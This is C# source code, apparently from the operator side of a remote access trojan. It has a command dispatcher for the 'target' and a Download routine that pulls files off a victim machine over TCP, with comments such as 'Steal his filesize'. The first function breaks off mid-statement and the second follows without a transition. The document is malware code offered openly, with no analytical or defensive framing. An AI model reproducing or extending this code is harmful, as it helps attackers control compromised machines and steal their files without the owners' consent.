static int Execute_Command(string command, string path, NetworkStream stream, TcpClient client, TcpListener listener, string ipv4) //Execute a command on the target *if returns 0 it sent a message to target { if (command == "help") //INITIATE THE HELP FUCNTION { SupportFuncLib.Help(); return(1); } else if (command.Contains("server -port -change:")) //Change the port the server is using and notify client { try { int port = int.Parse(command[21..command.Length]);
public static int Download(NetworkStream stream, TcpClient client, string filename) { //Declaration of variables int bytesRead = 0; int buffer = 4096; int x = 0; int f = 0; string root = Directory.GetCurrentDirectory(); string confirm = Receive(stream, client); if (confirm == "FILE FOUND") { while (x < 1) { string path = @root + "\\" + filename; if (File.Exists(path)) //Check if file exists if so then change it bruh { filename = f.ToString() + filename; f += 1; } else { string fS = Receive(stream, client); //Steal his filesize Console.WriteLine("Receiving a total of " + fS + " bytes from target"); int fileSize = int.Parse(fS); //Parse it to a int byte[] bytesToRead = new byte[fileSize]; //Create a byteArray of the size of the file SupportFuncLib.ProgressBar(false, true); //Start progress bar while (bytesRead < bytesToRead.Length) //While download is going on do this stuff { SupportFuncLib.ProgressBar(false, false); //Update progress bar if ((bytesRead + buffer) > bytesToRead.Length) //Adjust buffer in case buffer is larger than buffer going over the wire { buffer = bytesToRead.Length - bytesRead; } stream.Read(bytesToRead, bytesRead, buffer); //Read bytes from stream //Console.WriteLine("Read " + buffer + " bytes from target"); bytesRead += buffer; } SupportFuncLib.ProgressBar(true, false); //End progress bar var fs = new FileStream(filename, FileMode.Create, FileAccess.Write); fs.Write(bytesToRead, 0, bytesToRead.Length); //Write bytes to a file fs.Close(); Send(stream, "0"); //Send confirmation message x += 1; } } return(0); } else { return(1); } }